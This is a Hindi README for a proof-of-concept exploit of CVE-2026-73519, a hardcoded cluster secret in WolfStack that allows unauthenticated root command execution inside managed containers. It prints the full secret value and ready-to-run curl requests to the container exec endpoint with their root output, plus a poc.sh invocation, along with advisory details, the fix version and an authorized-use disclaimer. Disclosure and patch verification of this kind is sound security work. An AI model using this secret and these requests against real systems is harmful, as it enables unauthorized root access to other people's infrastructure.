
CVE-2026-73519 के लिए PoC - WolfStack का हार्डकोडेड क्लस्टर सीक्रेट बिना प्रमाणीकरण के RCE की ओर ले जाता है (CVSS 9.8)
WolfStack में हार्डकोडेड डिफ़ॉल्ट प्रमाणीकरण सीक्रेट के लिए PoC, जो किसी दूरस्थ, अनऑथेंटिकेटेड हमलावर को किसी भी प्रबंधित Docker/LXC कंटेनर के अंदर रूट के रूप में मनमाने कमांड चलाने की सुविधा देता है।
| CVE | CVE-2026-73519 |
| CNA | VulnCheck |
| एडवाइज़री | GHSA-r3mw-2wmq-j6jg · VulnCheck writeup |
| CVSS 3.1 | 9.8 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-798 (Hardcoded Credentials), CWE-306 (Missing Authentication for Critical Function) |
| प्रभावित | v25.9.0 और उससे पहले / कोई भी नोड जिसने प्रति-इंस्टॉल सीक्रेट माइग्रेशन पूरा नहीं किया है |
| समाधान | v25.9.2 / v25.9.3 |
| श्रेय | Dostxodjayev Abdullox (@squeeze440) |
src/auth/mod.rs:32 हर WolfStack बिल्ड में एक ही हार्डकोडेड सीक्रेट शामिल करता है:
const CLUSTER_SECRET: &str = "wsk_a7f3b9e2c1d4f6a8b0e3d5c7f9a1b3d5e7f9a1c3b5d7e9f0a2b4c6d8e0f1a3";
auth::default_secret_accepted() (src/auth/mod.rs:430-460) इस कॉन्स्टेंट को डिफ़ॉल्ट रूप से एक मान्य क्रेडेंशियल के रूप में स्वीकार करता है, जब तक कि ऑपरेटर ने स्पष्ट रूप से ऑप्ट-आउट न किया हो (WOLFSTACK_REJECT_DEFAULT_SECRET=1) या पहले से कस्टम सीक्रेट में रोटेट न किया हो। api::require_auth() (src/api/mod.rs:518-535), जो पूरे REST API की सुरक्षा करने वाला एकमात्र गेट है, मेल खाते X-WolfStack-Secret हेडर वाले अनुरोध को पूर्ण रूप से प्रमाणित मानता है — न कोई सत्र, न API कुंजी, न खाता।
यह गेट POST /api/containers/{runtime}/{id}/exec (src/api/mod.rs:7145-7167) की सुरक्षा करता है, जो कॉलर द्वारा दिए गए कमांड स्ट्रिंग को टारगेट कंटेनर के अंदर यथावत चलाता है। जिसने भी सार्वजनिक सोर्स (या इस रेपो) को पढ़ा है, वह एक विश्वसनीय क्लस्टर पीयर के रूप में प्रमाणित हो सकता है और नोड द्वारा प्रबंधित किसी भी कंटेनर में रूट के रूप में मनमाने कमांड निष्पादित कर सकता है।
इस रिलीज़ साइकिल में जोड़ी गई प्रति-इंस्टॉल सीक्रेट ऑटो-जनरेशन केवल उन नोड्स के लिए काम करती है जिनके पास कोई मौजूदा सीक्रेट फ़ाइल नहीं है और कोई रिकॉर्डेड पीयर नहीं है (src/auth/mod.rs:250-261) — कोई भी अपग्रेडेड नोड, कोई भी नोड जो प्रलेखित स्टार्टअप रेस का सामना करता है, या कोई भी नोड जिसका कॉन्फ़िग पथ लिखने योग्य नहीं है, वह अनिश्चितकाल तक साझा डिफ़ॉल्ट पर बना रहता है, केवल एक लॉग-लाइन चेतावनी के साथ।
TARGET और CONTAINER को एक WolfStack इंस्टेंस और उस कंटेनर पर इंगित करें जिसे आप परीक्षण करने के लिए अधिकृत हैं, फिर:
./poc.sh http://TARGET:8553 CONTAINER_NAME
या मैन्युअल रूप से:
# Unauthenticated — rejected
curl -s -X POST http://TARGET:8553/api/containers/docker/CONTAINER_NAME/exec \
-H "Content-Type: application/json" -d '{"command":"whoami"}'
# -> {"error":"Not authenticated"} HTTP 401
# Hardcoded secret from src/auth/mod.rs:32 — full RCE as root, no login
curl -s -X POST http://TARGET:8553/api/containers/docker/CONTAINER_NAME/exec \
-H "Content-Type: application/json" \
-H "X-WolfStack-Secret: wsk_a7f3b9e2c1d4f6a8b0e3d5c7f9a1b3d5e7f9a1c3b5d7e9f0a2b4c6d8e0f1a3" \
-d '{"command":"id; hostname"}'
# -> {"exit_code":0,"ok":true,"stdout":"uid=0(root) gid=0(root) ...\n<container-id>\n"} HTTP 200

वास्तविक, चेकसम-सत्यापित v25.9.0 रिलीज़ बाइनरी (sha256 82aab42b6ab17a146aa5a108f090b15c6c4bee8159f67e735deb533a437c207c) के विरुद्ध लक्ष्य के रूप में एक वास्तविक alpine:latest कंटेनर के साथ सत्यापित किया गया। रिस्पॉन्स आउटपुट में कंटेनर ID पीड़ित होस्ट पर docker ps से मेल खाती है।
/api/containers/docker, /api/containers/lxc), बिना प्रमाणीकरण के।require_auth-गेटेड रूट (पीयर/नोड प्रबंधन, बैकअप, आदि) तक पहुँचता है — यह PoC सबसे स्पष्ट प्रभाव के रूप में कंटेनर-exec सिंक को लक्षित करता है, न कि एक संपूर्ण सूची।v25.9.2 या उसके बाद के संस्करण में अपग्रेड करें। अनुरक्षक ने डिफ़ॉल्ट-सीक्रेट स्वीकृति को डिफ़ॉल्ट-अस्वीकृति में बदल दिया और मौजूदा इंस्टॉलेशन के लिए एक अनिवार्य रोटेशन पथ जोड़ा।
समाधान जारी होने और CVE निर्धारित होने के बाद प्रकाशित, रक्षात्मक/शैक्षिक उपयोग के लिए — अपने स्वयं के इंफ्रास्ट्रक्चर पर पैच स्थिति सत्यापित करने हेतु। इसे उन सिस्टमों के विरुद्ध न चलाएं जिनके मालिक आप नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट प्राधिकरण नहीं है।